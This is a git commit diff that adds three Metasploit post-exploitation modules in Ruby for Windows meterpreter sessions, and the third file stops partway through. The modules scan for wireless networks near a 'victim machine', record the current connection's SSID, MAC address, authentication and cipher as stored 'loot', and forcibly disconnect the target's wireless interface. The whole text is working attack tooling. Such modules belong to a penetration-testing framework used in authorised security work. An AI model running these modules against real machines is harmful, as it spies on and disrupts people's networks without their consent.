Moving the wlan directory up a level. It makes more sense in it's own area
instead of under gather.unstable
parent
c8142043e9
commit
8d47883af0
|
@ -0,0 +1,264 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'Windows Gather Wireless BSS Info',
|
||||
'Description' => %q{
|
||||
This module gathers information about the wireless Basic Service Sets
|
||||
available to the victim machine.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => ['TheLightCosine <thelightcosine[at]gmail.com>'],
|
||||
'Version' => '$Revision$',
|
||||
'Platform' => [ 'windows' ],
|
||||
'SessionTypes' => [ 'meterpreter' ]
|
||||
))
|
||||
end
|
||||
|
||||
def run
|
||||
|
||||
#Opens memory access into the host process
|
||||
mypid = client.sys.process.getpid
|
||||
@host_process = client.sys.process.open(mypid, PROCESS_ALL_ACCESS)
|
||||
@wlanapi = client.railgun.wlanapi
|
||||
|
||||
wlan_connections= "Wireless LAN Active Connections: \n"
|
||||
|
||||
wlan_handle = open_handle()
|
||||
|
||||
wlan_iflist = enum_interfaces(wlan_handle)
|
||||
|
||||
networks = []
|
||||
|
||||
wlan_iflist.each do |interface|
|
||||
#Scan with the interface, then wait 10 seconds to give it time to finish
|
||||
#If we don't wait we can get unpredicatble results. May be a race condition
|
||||
scan_results = @wlanapi.WlanScan(wlan_handle,interface['guid'],nil,nil,nil)
|
||||
sleep(10)
|
||||
|
||||
#Grab the list of available Basic Service Sets
|
||||
bss_list = wlan_get_networks(wlan_handle,interface['guid'])
|
||||
networks << bss_list
|
||||
end
|
||||
|
||||
#flatten and uniq the array to try and keep a unique lsit of networks
|
||||
networks.flatten!
|
||||
networks.uniq!
|
||||
network_list= "Available Wireless Networks\n\n"
|
||||
networks.each do |network|
|
||||
netout = "SSID: #{network['ssid']} \n\tBSSID: #{network['bssid']} \n\tType: #{network['type']}\n\t"
|
||||
netout << "PHY: #{network['physical']} \n\tRSSI: #{network['rssi']} \n\tSignal: #{network['signal']}\n"
|
||||
print_good(netout)
|
||||
network_list << netout
|
||||
end
|
||||
|
||||
#strip out any nullbytes for safe loot storage
|
||||
network_list.gsub!(/\x00/,"")
|
||||
store_loot("host.windows.wlan.networks", "text/plain", session, network_list, "wlan_networks.txt", "Available Wireless LAN Networks")
|
||||
|
||||
#close the Wlan API Handle
|
||||
closehandle = @wlanapi.WlanCloseHandle(wlan_handle,nil)
|
||||
if closehandle['return'] == 0
|
||||
print_status("WlanAPI Handle Closed Successfully")
|
||||
else
|
||||
print_error("There was an error closing the Handle")
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def open_handle
|
||||
begin
|
||||
wlhandle = @wlanapi.WlanOpenHandle(2,nil,4,4)
|
||||
rescue
|
||||
print_error("Couldn't open WlanAPI Handle. WLAN API may not be installed on target")
|
||||
return nil
|
||||
end
|
||||
return wlhandle['phClientHandle']
|
||||
end
|
||||
|
||||
|
||||
def wlan_get_networks(wlan_handle,guid)
|
||||
|
||||
networks = []
|
||||
|
||||
bss_list = @wlanapi.WlanGetNetworkBssList(wlan_handle,guid,nil,3,true,nil,4)
|
||||
print_status(bss_list.inspect)
|
||||
|
||||
pointer = bss_list['ppWlanBssList']
|
||||
totalsize = @host_process.memory.read(pointer,4)
|
||||
totalsize = totalsize.unpack("V")[0]
|
||||
|
||||
pointer = (pointer + 4)
|
||||
numitems = @host_process.memory.read(pointer,4)
|
||||
numitems = numitems.unpack("V")[0]
|
||||
|
||||
print_status("Number of Networks: #{numitems}")
|
||||
|
||||
#Iterate through each BSS
|
||||
(1..numitems).each do |i|
|
||||
bss={}
|
||||
|
||||
#If the length of the SSID is 0 then something is wrong. Skip this one
|
||||
pointer = (pointer + 4)
|
||||
len_ssid = @host_process.memory.read(pointer,4)
|
||||
unless len_ssid.unpack("V")[0]
|
||||
next
|
||||
end
|
||||
|
||||
#Grabs the ESSID
|
||||
pointer = (pointer + 4)
|
||||
ssid = @host_process.memory.read(pointer,32)
|
||||
bss['ssid'] = ssid.gsub(/\x00/,"")
|
||||
|
||||
#Grab the BSSID/MAC Address of the AP
|
||||
pointer = (pointer + 36)
|
||||
bssid = @host_process.memory.read(pointer,6)
|
||||
bssid = bssid.unpack("H*")[0]
|
||||
bssid.insert(2,":")
|
||||
bssid.insert(5,":")
|
||||
bssid.insert(8,":")
|
||||
bssid.insert(11,":")
|
||||
bssid.insert(14,":")
|
||||
bss['bssid'] = bssid
|
||||
|
||||
#Get the BSS Type
|
||||
pointer = (pointer + 8)
|
||||
bsstype = @host_process.memory.read(pointer,4)
|
||||
bsstype = bsstype.unpack("V")[0]
|
||||
case bsstype
|
||||
when 1
|
||||
bss['type'] = "Infrastructure"
|
||||
when 2
|
||||
bss['type'] = "Independent"
|
||||
when 3
|
||||
bss['type'] = "Any"
|
||||
else
|
||||
bss['type'] = "Unknown BSS Type"
|
||||
end
|
||||
|
||||
#Get the Physical Association Type
|
||||
pointer = (pointer + 4)
|
||||
phy_type = @host_process.memory.read(pointer,4)
|
||||
phy_type = phy_type.unpack("V")[0]
|
||||
case phy_type
|
||||
when 1
|
||||
bss['physical'] = "Frequency-hopping spread-spectrum (FHSS)"
|
||||
when 2
|
||||
bss['physical'] = "Direct sequence spread spectrum (DSSS)"
|
||||
when 3
|
||||
bss['physical'] = "Infrared (IR) baseband"
|
||||
when 4
|
||||
bss['physical'] = "Orthogonal frequency division multiplexing (OFDM)"
|
||||
when 5
|
||||
bss['physical'] = "High-rate DSSS (HRDSSS)"
|
||||
when 6
|
||||
bss['physical'] = "Extended rate PHY type"
|
||||
when 7
|
||||
bss['physical'] = "802.11n PHY type"
|
||||
else
|
||||
bss['physical'] = "Unknown Association Type"
|
||||
end
|
||||
|
||||
#Get the Recieved Signal Strength Indicator
|
||||
pointer = (pointer + 4)
|
||||
rssi = @host_process.memory.read(pointer,4)
|
||||
rssi = getle_signed_int(rssi)
|
||||
bss['rssi'] = rssi
|
||||
|
||||
#Get the signal strength
|
||||
pointer = (pointer + 4)
|
||||
signal = @host_process.memory.read(pointer,4)
|
||||
bss['signal'] = signal.unpack("V")[0]
|
||||
|
||||
#skip all the rest of the data points as they aren't particularly useful
|
||||
pointer = (pointer + 296)
|
||||
|
||||
networks << bss
|
||||
end
|
||||
return networks
|
||||
end
|
||||
|
||||
def enum_interfaces(wlan_handle)
|
||||
|
||||
iflist = @wlanapi.WlanEnumInterfaces(wlan_handle,nil,4)
|
||||
pointer= iflist['ppInterfaceList']
|
||||
|
||||
numifs = @host_process.memory.read(pointer,4)
|
||||
numifs = numifs.unpack("V")[0]
|
||||
|
||||
interfaces = []
|
||||
|
||||
#Set the pointer ahead to the first element in the array
|
||||
pointer = (pointer + 8)
|
||||
(1..numifs).each do |i|
|
||||
interface = {}
|
||||
#Read the GUID (16 bytes)
|
||||
interface['guid'] = @host_process.memory.read(pointer,16)
|
||||
pointer = (pointer + 16)
|
||||
#Read the description(up to 512 bytes)
|
||||
interface['description'] = @host_process.memory.read(pointer,512)
|
||||
pointer = (pointer + 512)
|
||||
#Read the state of the interface (4 bytes)
|
||||
state = @host_process.memory.read(pointer,4)
|
||||
pointer = (pointer + 4)
|
||||
#Turn the state into human readable form
|
||||
state = state.unpack("V")[0]
|
||||
case state
|
||||
when 0
|
||||
interface['state'] = "The interface is not ready to operate."
|
||||
when 1
|
||||
interface['state'] = "The interface is connected to a network."
|
||||
when 2
|
||||
interface['state'] = "The interface is the first node in an ad hoc network. No peer has connected."
|
||||
when 3
|
||||
interface['state'] = "The interface is disconnecting from the current network."
|
||||
when 4
|
||||
interface['state'] = "The interface is not connected to any network."
|
||||
when 5
|
||||
interface['state'] = "The interface is attempting to associate with a network."
|
||||
when 6
|
||||
interface['state'] = "Auto configuration is discovering the settings for the network."
|
||||
when 7
|
||||
interface['state'] = "The interface is in the process of authenticating."
|
||||
else
|
||||
interface['state'] = "Unknown State"
|
||||
end
|
||||
interfaces << interface
|
||||
end
|
||||
return interfaces
|
||||
end
|
||||
|
||||
def getle_signed_int(str)
|
||||
arr, bits, num = str.unpack('V*'), 0, 0
|
||||
arr.each do |int|
|
||||
num += int << bits
|
||||
bits += 32
|
||||
end
|
||||
num >= 2**(bits-1) ? num - 2**bits : num
|
||||
end
|
||||
|
||||
#Convert the GUID to human readable form
|
||||
def guid_to_string(guid)
|
||||
aguid = guid.unpack("H*")[0]
|
||||
sguid = "{" + aguid[6,2] + aguid[4,2] + aguid[2,2] + aguid[0,2]
|
||||
sguid << "-" + aguid[10,2] + aguid[8,2] + "-" + aguid[14,2] + aguid[12,2] + "-" + aguid[16,4]
|
||||
sguid << "-" + aguid[20,12] + "}"
|
||||
return sguid
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,319 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'Windows Gather Wireless Current Connection Info',
|
||||
'Description' => %q{
|
||||
This module gathers information about the current connection on each
|
||||
wireless lan interface on the target machine.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => ['TheLightCosine <thelightcosine[at]gmail.com>'],
|
||||
'Version' => '$Revision$',
|
||||
'Platform' => [ 'windows' ],
|
||||
'SessionTypes' => [ 'meterpreter' ]
|
||||
))
|
||||
end
|
||||
|
||||
def run
|
||||
#Opens memory access into the host process
|
||||
mypid = client.sys.process.getpid
|
||||
@host_process = client.sys.process.open(mypid, PROCESS_ALL_ACCESS)
|
||||
@wlanapi = client.railgun.wlanapi
|
||||
|
||||
wlan_connections= "Wireless LAN Active Connections: \n"
|
||||
wlan_handle = open_handle()
|
||||
wlan_iflist = enum_interfaces(wlan_handle)
|
||||
|
||||
wlan_iflist.each do |interface|
|
||||
connect_info = query_current_connection(wlan_handle, interface['guid'])
|
||||
guid = guid_to_string(interface['guid'])
|
||||
wlan_connection = "GUID: #{guid} \nDescription: #{interface['description']} \nState: #{interface['state']}\n"
|
||||
if (connect_info)
|
||||
wlan_connection << "\tMode: #{connect_info['mode']} \n\tProfile: #{connect_info['profile']} \n"
|
||||
wlan_connection << "\tSSID: #{connect_info['ssid']} \n\tAP MAC: #{connect_info['bssid']} \n"
|
||||
wlan_connection << "\tBSS Type: #{connect_info['type']} \n\tPhysical Type: #{connect_info['physical']} \n"
|
||||
wlan_connection << "\tSignal Strength: #{connect_info['signal']} \n\tRX Rate: #{connect_info['rxrate']} \n"
|
||||
wlan_connection << "\tTX Rate: #{connect_info['txrate']} \n\tSecurity Enabled: #{connect_info['security']} \n"
|
||||
wlan_connection << "\toneX Enabled: #{connect_info['oneX']} \n\tAuthentication Algorithm: #{connect_info['auth']} \n"
|
||||
wlan_connection << "\tCipher Algorithm: #{connect_info['cipher']} \n"
|
||||
else
|
||||
wlan_connection << "\tThis interface is not currently connected to a network\n"
|
||||
end
|
||||
print_good(wlan_connection)
|
||||
wlan_connections << wlan_connection
|
||||
end
|
||||
|
||||
wlan_connections.gsub!(/\x00/,"")
|
||||
store_loot("host.windows.wlan.connections", "text/plain", session, wlan_connections, "wlan_connections.txt", "Wireless LAN Connections")
|
||||
#close the Wlan API Handle
|
||||
closehandle = @wlanapi.WlanCloseHandle(wlan_handle,nil)
|
||||
if closehandle['return'] == 0
|
||||
print_status("WlanAPI Handle Closed Successfully")
|
||||
else
|
||||
print_error("There was an error closing the Handle")
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def open_handle
|
||||
begin
|
||||
wlhandle = @wlanapi.WlanOpenHandle(2,nil,4,4)
|
||||
rescue
|
||||
print_error("Couldn't open WlanAPI Handle. WLAN API may not be installed on target")
|
||||
return nil
|
||||
end
|
||||
return wlhandle['phClientHandle']
|
||||
end
|
||||
|
||||
def query_current_connection(wlan_handle, guid)
|
||||
connection={}
|
||||
conn_info = @wlanapi.WlanQueryInterface(wlan_handle,guid,7,nil,4,4,nil)
|
||||
#Grab the pointer to our data structure. We skip voer the Interface State since we already have it
|
||||
#We interpret the connection mode used first
|
||||
pointer = conn_info['ppData']
|
||||
pointer = (pointer + 4)
|
||||
mode = @host_process.memory.read(pointer,4)
|
||||
mode = mode.unpack("V")[0]
|
||||
case mode
|
||||
when 0
|
||||
connection['mode'] = "A profile is used to make the connection."
|
||||
when 1
|
||||
connection['mode'] = "A temporary profile is used to make the connection."
|
||||
when 2
|
||||
connection['mode'] = "Secure discovery is used to make the connection."
|
||||
when 3
|
||||
connection['mode'] = "Unsecure discovery is used to make the connection."
|
||||
when 4
|
||||
connection['mode'] = "connection initiated by wireless service automatically using a persistent profile."
|
||||
when 5
|
||||
connection['mode'] = "Invalid connection mode."
|
||||
else
|
||||
connection['state'] = "Unknown connection Mode."
|
||||
end
|
||||
|
||||
#Grab the wirelessprofile name used in the connection
|
||||
pointer = (pointer+4)
|
||||
profile = @host_process.memory.read(pointer,512)
|
||||
connection['profile'] = profile.gsub(/\x00/,"")
|
||||
|
||||
#Check the size of the SSID value. If we get nothing back, the interface is not currently connected
|
||||
#We return nil and deal with the results back in the calling function
|
||||
pointer = (pointer+512)
|
||||
len_ssid = @host_process.memory.read(pointer,4)
|
||||
unless len_ssid.unpack("V")[0]
|
||||
return nil
|
||||
end
|
||||
|
||||
#Grabs the SSID of the BSS connected to
|
||||
pointer = (pointer + 4)
|
||||
ssid = @host_process.memory.read(pointer,32)
|
||||
connection['ssid'] = ssid.gsub(/\x00/,"")
|
||||
|
||||
#Grabs what type of a BSS this is and itnerpretes it into human readable
|
||||
pointer = (pointer + 32)
|
||||
bsstype = @host_process.memory.read(pointer,4)
|
||||
bsstype = bsstype.unpack("V")[0]
|
||||
case bsstype
|
||||
when 1
|
||||
connection['type'] = "Infrastructure"
|
||||
when 2
|
||||
connection['type'] = "Independent"
|
||||
when 3
|
||||
connection['type'] = "Any"
|
||||
else
|
||||
connection['type'] = "Unknown BSS Type"
|
||||
end
|
||||
|
||||
#Grabs the BSS MAC address
|
||||
pointer = (pointer + 4)
|
||||
bssid = @host_process.memory.read(pointer,6)
|
||||
bssid = bssid.unpack("H*")[0]
|
||||
bssid.insert(2,":")
|
||||
bssid.insert(5,":")
|
||||
bssid.insert(8,":")
|
||||
bssid.insert(11,":")
|
||||
bssid.insert(14,":")
|
||||
connection['bssid'] = bssid
|
||||
|
||||
#Grabs the physical association type and interprets it into human readable
|
||||
pointer = (pointer + 8)
|
||||
phy_type = @host_process.memory.read(pointer,4)
|
||||
phy_type = phy_type.unpack("V")[0]
|
||||
case phy_type
|
||||
when 1
|
||||
connection['physical'] = "Frequency-hopping spread-spectrum (FHSS)"
|
||||
when 2
|
||||
connection['physical'] = "Direct sequence spread spectrum (DSSS)"
|
||||
when 3
|
||||
connection['physical'] = "Infrared (IR) baseband"
|
||||
when 4
|
||||
connection['physical'] = "Orthogonal frequency division multiplexing (OFDM)"
|
||||
when 5
|
||||
connection['physical'] = "High-rate DSSS (HRDSSS)"
|
||||
when 6
|
||||
connection['physical'] = "Extended rate PHY type"
|
||||
when 7
|
||||
connection['physical'] = "802.11n PHY type"
|
||||
else
|
||||
connection['physical'] = "Unknown Association Type"
|
||||
end
|
||||
|
||||
#Grabs the signal strength value
|
||||
pointer = (pointer + 8)
|
||||
signal = @host_process.memory.read(pointer,4)
|
||||
connection['signal'] = signal.unpack("V")[0]
|
||||
|
||||
#Grabs the recieve rate value
|
||||
pointer = (pointer + 4)
|
||||
rxrate = @host_process.memory.read(pointer,4)
|
||||
connection['rxrate'] = rxrate.unpack("V")[0]
|
||||
|
||||
#Grabs the transmit rate value
|
||||
pointer = (pointer + 4)
|
||||
txrate = @host_process.memory.read(pointer,4)
|
||||
connection['txrate'] = txrate.unpack("V")[0]
|
||||
|
||||
#Checks if security is enabled on this BSS
|
||||
pointer = (pointer + 4)
|
||||
security_enabled = @host_process.memory.read(pointer,4)
|
||||
if security_enabled.unpack("V")[0] == 1
|
||||
connection['security'] = "Yes"
|
||||
else
|
||||
connection['security'] = "No"
|
||||
end
|
||||
|
||||
#Checks of 802.1x Authentication is used
|
||||
pointer = (pointer + 4)
|
||||
onex = @host_process.memory.read(pointer,4)
|
||||
if onex.unpack("V")[0] == 1
|
||||
connection['oneX'] = "Yes"
|
||||
else
|
||||
connection['oneX'] = "No"
|
||||
end
|
||||
|
||||
#Determines wat Authentication Algorithm is being used
|
||||
pointer = (pointer + 4)
|
||||
algo = @host_process.memory.read(pointer,4)
|
||||
algo = algo.unpack("V")[0]
|
||||
case algo
|
||||
when 1
|
||||
connection['auth'] = "802.11 Open"
|
||||
when 2
|
||||
connection['auth'] = "802.11 Shared"
|
||||
when 3
|
||||
connection['auth'] = "WPA"
|
||||
when 4
|
||||
connection['auth'] = "WPA-PSK"
|
||||
when 5
|
||||
connection['auth'] = "WPA-None"
|
||||
when 6
|
||||
connection['auth'] = "RSNA"
|
||||
when 7
|
||||
connection['auth'] = "RSNA with PSK"
|
||||
else
|
||||
connection['auth'] = "Unknown Algorithm"
|
||||
end
|
||||
|
||||
#Determines what Cipher is being used
|
||||
pointer = (pointer + 4)
|
||||
cipher = @host_process.memory.read(pointer,4)
|
||||
cipher = cipher.unpack("V")[0]
|
||||
case cipher
|
||||
when 0
|
||||
connection['cipher'] = "None"
|
||||
when 1
|
||||
connection['cipher'] = "WEP-40"
|
||||
when 2
|
||||
connection['cipher'] = "TKIP"
|
||||
when 4
|
||||
connection['cipher'] = "CCMP"
|
||||
when 5
|
||||
connection['cipher'] = "WEP-104"
|
||||
when 256
|
||||
connection['cipher'] = "Use Group Key"
|
||||
when 257
|
||||
connection['cipher'] = "WEP"
|
||||
else
|
||||
connection['cipher'] = "Unknown Cipher"
|
||||
end
|
||||
return connection
|
||||
end
|
||||
|
||||
|
||||
def enum_interfaces(wlan_handle)
|
||||
iflist = @wlanapi.WlanEnumInterfaces(wlan_handle,nil,4)
|
||||
pointer= iflist['ppInterfaceList']
|
||||
|
||||
numifs = @host_process.memory.read(pointer,4)
|
||||
numifs = numifs.unpack("V")[0]
|
||||
|
||||
interfaces = []
|
||||
|
||||
#Set the pointer ahead to the first element in the array
|
||||
pointer = (pointer + 8)
|
||||
(1..numifs).each do |i|
|
||||
|
||||
interface = {}
|
||||
#Read the GUID (16 bytes)
|
||||
interface['guid'] = @host_process.memory.read(pointer,16)
|
||||
pointer = (pointer + 16)
|
||||
#Read the description(up to 512 bytes)
|
||||
interface['description'] = @host_process.memory.read(pointer,512)
|
||||
pointer = (pointer + 512)
|
||||
#Read the state of the interface (4 bytes)
|
||||
state = @host_process.memory.read(pointer,4)
|
||||
pointer = (pointer + 4)
|
||||
|
||||
#Turn the state into human readable form
|
||||
state = state.unpack("V")[0]
|
||||
case state
|
||||
when 0
|
||||
interface['state'] = "The interface is not ready to operate."
|
||||
when 1
|
||||
interface['state'] = "The interface is connected to a network."
|
||||
when 2
|
||||
interface['state'] = "The interface is the first node in an ad hoc network. No peer has connected."
|
||||
when 3
|
||||
interface['state'] = "The interface is disconnecting from the current network."
|
||||
when 4
|
||||
interface['state'] = "The interface is not connected to any network."
|
||||
when 5
|
||||
interface['state'] = "The interface is attempting to associate with a network."
|
||||
when 6
|
||||
interface['state'] = "Auto configuration is discovering the settings for the network."
|
||||
when 7
|
||||
interface['state'] = "The interface is in the process of authenticating."
|
||||
else
|
||||
interface['state'] = "Unknown State"
|
||||
end
|
||||
interfaces << interface
|
||||
end
|
||||
return interfaces
|
||||
end
|
||||
|
||||
#Convert the GUID to human readable form
|
||||
def guid_to_string(guid)
|
||||
aguid = guid.unpack("H*")[0]
|
||||
sguid = "{" + aguid[6,2] + aguid[4,2] + aguid[2,2] + aguid[0,2]
|
||||
sguid << "-" + aguid[10,2] + aguid[8,2] + "-" + aguid[14,2] + aguid[12,2] + "-" + aguid[16,4]
|
||||
sguid << "-" + aguid[20,12] + "}"
|
||||
return sguid
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,354 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'Windows Disconnect Wireless Connection ',
|
||||
'Description' => %q{
|
||||
This module disconnects the current wireless network connection
|
||||
on the specified interface.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => ['TheLightCosine <thelightcosine[at]gmail.com>'],
|
||||
'Version' => '$Revision$',
|
||||
'Platform' => [ 'windows' ],
|
||||
'SessionTypes' => [ 'meterpreter' ]
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptInt.new("Interface", [true, "The Index of the Interface to Disconnect. Leave at 0 if only one IF", 0])
|
||||
])
|
||||
end
|
||||
|
||||
def run
|
||||
|
||||
#Opens memory access into the host process
|
||||
mypid = client.sys.process.getpid
|
||||
@host_process = client.sys.process.open(mypid, PROCESS_ALL_ACCESS)
|
||||
@wlanapi = client.railgun.wlanapi
|
||||
|
||||
wlan_connections= "Wireless LAN Active Connections: \n"
|
||||
wlan_handle = open_handle()
|
||||
wlan_iflist = enum_interfaces(wlan_handle)
|
||||
if wlan_iflist[datastore['Interface']]
|
||||
connect_info = query_current_connection(wlan_handle, wlan_iflist[datastore['Interface']]['guid'])
|
||||
if connect_info
|
||||
guid = guid_to_string(wlan_iflist[datastore['Interface']]['guid'])
|
||||
wlan_connection = "GUID: #{guid} \nDescription: #{wlan_iflist[datastore['Interface']]['description']} \nState: #{wlan_iflist[datastore['Interface']]['state']}\n"
|
||||
wlan_connection << "Currently Connected to: \n"
|
||||
wlan_connection << "\tMode: #{connect_info['mode']} \n\tProfile: #{connect_info['profile']} \n"
|
||||
wlan_connection << "\tSSID: #{connect_info['ssid']} \n\tAP MAC: #{connect_info['bssid']} \n"
|
||||
wlan_connection << "\tBSS Type: #{connect_info['type']} \n\tPhysical Type: #{connect_info['physical']} \n"
|
||||
wlan_connection << "\tSignal Strength: #{connect_info['signal']} \n\tRX Rate: #{connect_info['rxrate']} \n"
|
||||
wlan_connection << "\tTX Rate: #{connect_info['txrate']} \n\tSecurity Enabled: #{connect_info['security']} \n"
|
||||
wlan_connection << "\toneX Enabled: #{connect_info['oneX']} \n\tAuthentication Algorithm: #{connect_info['auth']} \n"
|
||||
wlan_connection << "\tCipher Algorithm: #{connect_info['cipher']} \n"
|
||||
print_status(wlan_connection)
|
||||
|
||||
print_status("Disconnecting...")
|
||||
@wlanapi.WlanDisconnect(wlan_handle,wlan_iflist[datastore['Interface']]['guid'],nil)
|
||||
sleep(10)
|
||||
|
||||
connected = query_current_connection(wlan_handle, wlan_iflist[datastore['Interface']]['guid'])
|
||||
if connected
|
||||
print_error("The Interface still appears to be connected.")
|
||||
closehandle = @wlanapi.WlanCloseHandle(wlan_handle,nil)
|
||||
if closehandle['return'] == 0
|
||||
print_status("WlanAPI Handle Closed Successfully")
|
||||
else
|
||||
print_error("There was an error closing the Handle")
|
||||
end
|
||||
return
|
||||
else
|
||||
print_good("The Interface has been disconnected successfully")
|
||||
end
|
||||
else
|
||||
print_error("This Interface is not currently connected to a network.")
|
||||
closehandle = @wlanapi.WlanCloseHandle(wlan_handle,nil)
|
||||
if closehandle['return'] == 0
|
||||
print_status("WlanAPI Handle Closed Successfully")
|
||||
else
|
||||
print_error("There was an error closing the Handle")
|
||||
end
|
||||
return
|
||||
end
|
||||
else
|
||||
print_error("The Supplied Interface Index is Invalid")
|
||||
closehandle = @wlanapi.WlanCloseHandle(wlan_handle,nil)
|
||||
if closehandle['return'] == 0
|
||||
print_status("WlanAPI Handle Closed Successfully")
|
||||
else
|
||||
print_error("There was an error closing the Handle")
|
||||
end
|
||||
return
|
||||
end
|
||||
|
||||
#close the Wlan API Handle
|
||||
closehandle = @wlanapi.WlanCloseHandle(wlan_handle,nil)
|
||||
if closehandle['return'] == 0
|
||||
print_status("WlanAPI Handle Closed Successfully")
|
||||
else
|
||||
print_error("There was an error closing the Handle")
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def open_handle
|
||||
begin
|
||||
wlhandle = @wlanapi.WlanOpenHandle(2,nil,4,4)
|
||||
rescue
|
||||
print_error("Couldn't open WlanAPI Handle. WLAN API may not be installed on target")
|
||||
return nil
|
||||
end
|
||||
return wlhandle['phClientHandle']
|
||||
end
|
||||
|
||||
def query_current_connection(wlan_handle, guid)
|
||||
connection={}
|
||||
conn_info = @wlanapi.WlanQueryInterface(wlan_handle,guid,7,nil,4,4,nil)
|
||||
|
||||
#Grab the pointer to our data structure. We skip voer the Interface State since we already have it
|
||||
#We interpret the connection mode used first
|
||||
pointer = conn_info['ppData']
|
||||
pointer = (pointer + 4)
|
||||
mode = @host_process.memory.read(pointer,4)
|
||||
mode = mode.unpack("V")[0]
|
||||
case mode
|
||||
when 0
|
||||
connection['mode'] = "A profile is used to make the connection."
|
||||
when 1
|
||||
connection['mode'] = "A temporary profile is used to make the connection."
|
||||
when 2
|
||||
connection['mode'] = "Secure discovery is used to make the connection."
|
||||
when 3
|
||||
connection['mode'] = "Unsecure discovery is used to make the connection."
|
||||
when 4
|
||||
connection['mode'] = "connection initiated by wireless service automatically using a persistent profile."
|
||||
when 5
|
||||
connection['mode'] = "Invalid connection mode."
|
||||
else
|
||||
connection['state'] = "Unknown connection Mode."
|
||||
end
|
||||
|
||||
#Grab the wirelessprofile name used in the connection
|
||||
pointer = (pointer+4)
|
||||
profile = @host_process.memory.read(pointer,512)
|
||||
connection['profile'] = profile.gsub(/\x00/,"")
|
||||
|
||||
#Check the size of the SSID value. If we get nothing back, the interface is not currently connected
|
||||
#We return nil and deal with the results back in the calling function
|
||||
pointer = (pointer+512)
|
||||
len_ssid = @host_process.memory.read(pointer,4)
|
||||
unless len_ssid.unpack("V")[0]
|
||||
return nil
|
||||
end
|
||||
|
||||
#Grabs the SSID of the BSS connected to
|
||||
pointer = (pointer + 4)
|
||||
ssid = @host_process.memory.read(pointer,32)
|
||||
connection['ssid'] = ssid.gsub(/\x00/,"")
|
||||
|
||||
#Grabs what type of a BSS this is and itnerpretes it into human readable
|
||||
pointer = (pointer + 32)
|
||||
bsstype = @host_process.memory.read(pointer,4)
|
||||
bsstype = bsstype.unpack("V")[0]
|
||||
case bsstype
|
||||
when 1
|
||||
connection['type'] = "Infrastructure"
|
||||
when 2
|
||||
connection['type'] = "Independent"
|
||||
when 3
|
||||
connection['type'] = "Any"
|
||||
else
|
||||
connection['type'] = "Unknown BSS Type"
|
||||
end
|
||||
|
||||
#Grabs the BSS MAC address
|
||||
pointer = (pointer + 4)
|
||||
bssid = @host_process.memory.read(pointer,6)
|
||||
bssid = bssid.unpack("H*")[0]
|
||||
bssid.insert(2,":")
|
||||
bssid.insert(5,":")
|
||||
bssid.insert(8,":")
|
||||
bssid.insert(11,":")
|
||||
bssid.insert(14,":")
|
||||
connection['bssid'] = bssid
|
||||
|
||||
#Grabs the physical association type and interprets it into human readable
|
||||
pointer = (pointer + 8)
|
||||
phy_type = @host_process.memory.read(pointer,4)
|
||||
phy_type = phy_type.unpack("V")[0]
|
||||
case phy_type
|
||||
when 1
|
||||
connection['physical'] = "Frequency-hopping spread-spectrum (FHSS)"
|
||||
when 2
|
||||
connection['physical'] = "Direct sequence spread spectrum (DSSS)"
|
||||
when 3
|
||||
connection['physical'] = "Infrared (IR) baseband"
|
||||
when 4
|
||||
connection['physical'] = "Orthogonal frequency division multiplexing (OFDM)"
|
||||
when 5
|
||||
connection['physical'] = "High-rate DSSS (HRDSSS)"
|
||||
when 6
|
||||
connection['physical'] = "Extended rate PHY type"
|
||||
when 7
|
||||
connection['physical'] = "802.11n PHY type"
|
||||
else
|
||||
connection['physical'] = "Unknown Association Type"
|
||||
end
|
||||
|
||||
#Grabs the signal strength value
|
||||
pointer = (pointer + 8)
|
||||
signal = @host_process.memory.read(pointer,4)
|
||||
connection['signal'] = signal.unpack("V")[0]
|
||||
|
||||
#Grabs the recieve rate value
|
||||
pointer = (pointer + 4)
|
||||
rxrate = @host_process.memory.read(pointer,4)
|
||||
connection['rxrate'] = rxrate.unpack("V")[0]
|
||||
|
||||
#Grabs the transmit rate value
|
||||
pointer = (pointer + 4)
|
||||
txrate = @host_process.memory.read(pointer,4)
|
||||
connection['txrate'] = txrate.unpack("V")[0]
|
||||
|
||||
#Checks if security is enabled on this BSS
|
||||
pointer = (pointer + 4)
|
||||
security_enabled = @host_process.memory.read(pointer,4)
|
||||
if security_enabled.unpack("V")[0] == 1
|
||||
connection['security'] = "Yes"
|
||||
else
|
||||
connection['security'] = "No"
|
||||
end
|
||||
|
||||
#Checks of 802.1x Authentication is used
|
||||
pointer = (pointer + 4)
|
||||
